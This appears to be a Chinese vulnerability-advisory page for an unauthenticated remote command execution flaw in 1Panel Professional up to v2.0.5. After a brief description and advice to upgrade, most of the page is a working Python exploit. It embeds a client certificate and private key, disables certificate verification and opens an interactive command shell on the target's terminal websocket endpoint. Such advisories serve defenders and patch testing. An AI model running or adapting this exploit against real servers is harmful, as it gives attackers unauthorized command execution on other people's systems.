1Panel 远程命令执行漏洞

日期: 2025-08-04 20:29:25 | 影响软件: 1Panel | POC: 已公开

漏洞描述

1Panel 是一款开源的 Linux 服务器管理工具,通过 Web 界面简化运维管理流程,支持域名绑定、SSL 配置、容器管理、安全审计等功能。 2025年8月,1Panel官方发布v2.0.6版本修复了1Panel专业版的agent证书验证绕过导致的任意命令执行漏洞。该漏洞允许未授权攻击者绕过身份验证访问高权限接口在服务器上执行任意命令。经验证,非专业版和未启用从节点的用户不受此漏洞影响,本次漏洞仅影响1Panel专业版<=v.2.0.5且添加了从节点的1Panel,建议受影响的用户及时更新版本进行修复。

PoC代码

import asyncio
import json
import ssl
import sys
from base64 import b64decode,b64encode
import websockets
import tempfile


async def connect(uri):
    client_cert = """-----BEGIN CERTIFICATE-----
MIIDDzCCAfegAwIBAgIUNm3Q2Ww7tK3wHoJtGVaGODws0vowDQYJKoZIhvcNAQEL
BQAwFzEVMBMGA1UEAwwMcGFuZWxfY2xpZW50MB4XDTI1MDgwNDEwMjAzOVoXDTI2
MDgwNDEwMjAzOVowFzEVMBMGA1UEAwwMcGFuZWxfY2xpZW50MIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/d/3r00vyDmxmjlDyrPpdezjsHRBV5Tn0IFk
UktbzW0f7awnOPLLarJ1v0oZugho4CqEmehIQQO43W5oZF9hC5fMWmwFL8m6Kiu3
xuET2gbD4/qEviTh/38wrxUN/+IwOea+Yw8/iHzx0fIpQAtTDQUOk6W0ZoOBde75
6DtamXO96Djrd4h9o7eU4AZbNOP36HBMlryDrfhTG/ihfbDFR+6xR6UkoLgh1mWR
sXftY2XrITFV/6btvdTkut8DwYNLTPJby0pAQFxQdnRC6DnvLw3v7TggoOlQxlbt
rzzeC2DVsjtJXlzrItkrZ1do1H2TQKhbnP3jsOLKqQEXtHKPeQIDAQABo1MwUTAd
BgNVHQ4EFgQU00rtbmrupcISa3IrCQ7sKqMrqA8wHwYDVR0jBBgwFoAU00rtbmru
pcISa3IrCQ7sKqMrqA8wDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOC
AQEAFg+diKvWp5jHnmhiICzzVYghBcccvAVZLPbdYY0eMJiQJGtrp+EIPHMsB9Lc
KuEyDRCYL1cutApE0frbKOUgtlANONuZb3CDk8ewIpx3x261ghq+QPoJSgM7tCS6
QAt5h5w/JPwXfo6UKKRQgGPM6RHamCgj9QRohzW4vghLbSNVDwuInaWrb4YF+YzX
XfC2GvyFlOljCQZ6jLtPOSgjKocMAJHW5s+lF6lerFJUE2BQHfjUPsC94d+JgSSs
HX9Asv15xmQPLBR03s0q0VDhsGXVsWJxYglcdfjqSHKN4vtwENcKM0ClQdWrnt4x
PPMJsg4HCTfe8FEk9RNCM68awA==
-----END CERTIFICATE-----"""

    client_key = """-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD93/evTS/IObGa
OUPKs+l17OOwdEFXlOfQgWRSS1vNbR/trCc48stqsnW/Shm6CGjgKoSZ6EhBA7jd
bmhkX2ELl8xabAUvyboqK7fG4RPaBsPj+oS+JOH/fzCvFQ3/4jA55r5jDz+IfPHR
8ilAC1MNBQ6TpbRmg4F17vnoO1qZc73oOOt3iH2jt5TgBls04/focEyWvIOt+FMb
+KF9sMVH7rFHpSSguCHWZZGxd+1jZeshMVX/pu291OS63wPBg0tM8lvLSkBAXFB2
dELoOe8vDe/tOCCg6VDGVu2vPN4LYNWyO0leXOsi2StnV2jUfZNAqFuc/eOw4sqp
ARe0co95AgMBAAECggEAAMqs4q+wj1Tpuj/FN7m7p8XdOGjGZuPknKx4n/6S6tc1
Jyg3J5jvPDYSAq6UGbXKwO81AmdcaVJ+BjfAzNZUzsTSivIlCn78LQM9o5nCVnbY
r8pxVUf3afTvNY6Q4HxHtviCnbu3kKEGHofdK9FVORhL0TdOMpckpVXhUuFzgQC/
LvAaU5QVkORv2DWW+ApOU3OYNOUPRul+1kYG6undfWb2kNpRYUPIU6y+dbKJd1V+
DXj9A6f9zrITFqxG7UOo5nZJl5Xxy1q4ewDzLUyboERNMQtN15RGmMBihGiTdkzn
TnpiD7HlraNFqqnNtSeKKEMIRBMZqyI24Vu7f/hZQQKBgQD/cklEAmFyf2lckK/i
dh31p3loY85oG+xblkzGmcFWhp1+0iD2akc0//ovN66XrATfSLUtoZwuGseym5hZ
4lPe0vLrSsQE231nx4reuoEJCG1x3X/SdR/n2hXTVVfJZ0j6OPsaFlhDfZIoJsMo
4bJoszeE1X6Y7GISUqi058i9OQKBgQD+bM85oMrL6jZv3g9R6Iw+XoACbmh9nyvA
sncpuNYILUGUZHBRLpDAbHxwe/uMDYwXAZzl9IDaBTcddRdAwhxFpmL0BvnvPMTP
qdT3hEO3zhijNNVqB/Cle7M4/E2Fh5u3S+ttqDUJ7k2tX55Gk8GJr35FB9xOY5K1
bYihzVKkQQKBgQDq6cIA3iOZdRyCuLhXDYK9v5cB7g8KZOt2yoCufwVyufcqgrk3
g0MatXDxbUaNSu9sG2Qqo52KNKyDT13LAz1YBCzLPwWG5gasoq/N5jv1/58OgMEk
3PtLb550q95AZFCTdEVPl07yOg9oB0WgWfaFHJMpAGEc5v3Fleh5/VH42QKBgFgT
FL1vUyS6BHQ/W/BP31Sr5AZzcAqkskG3xhaUXMth10TmbBc+Vm+2XnGWCeNWwTsp
nMXiGUTf709sPEt3ps/ZpIGzdIwD7mGw+f9hMwwK9W5yGLrm2sB+jPFaLf/ejOIs
DujcBNhWPV+aLTFjbukZ7k05RmOAhsX1kAnrCQPBAoGARC6q2JNwBWSqJ9KN3R8z
jZe8VLrSdx58eaVDqo09gQsU25FCZ9u9DMecessuHrJIzumYqfCnl1AK+5B951UK
/ruPKp1TOMFQ8msyVJQ4KN/rBNwjv2fWs81S5uQ8Sm/PMkkW5+kJ5F5b4IyKJxTv
IDcoaBkLLvudjAt/We9VNXI=
-----END PRIVATE KEY-----"""

    ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)

    with tempfile.NamedTemporaryFile(delete=True) as certfile, tempfile.NamedTemporaryFile(delete=True) as keyfile:
        certfile.write(client_cert.encode('utf-8'))
        keyfile.write(client_key.encode('utf-8'))
        certfile.flush()
        keyfile.flush()

        ssl_context.load_cert_chain(certfile.name, keyfile.name)
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    async with websockets.connect(uri, ssl=ssl_context) as websocket:

        while True:
            cmd = input()
            await websocket.send(json.dumps({"type": "cmd", "data": b64encode(f"{cmd}\n".encode()).decode()}))
            response = await websocket.recv()
            output = b64decode(json.loads(response).get('data')).decode()
            print(output)


def check(host, port=80):
    try:
        scheme = 'wss'
        asyncio.get_event_loop().run_until_complete(
            connect('{}://{}:{}/api/v2/hosts/terminal'.format(scheme, host, port)))

    except Exception as error:
        print(error)
        return False
    return False


if __name__ == '__main__':
    print(check(sys.argv[1], int(sys.argv[2])))

相关漏洞推荐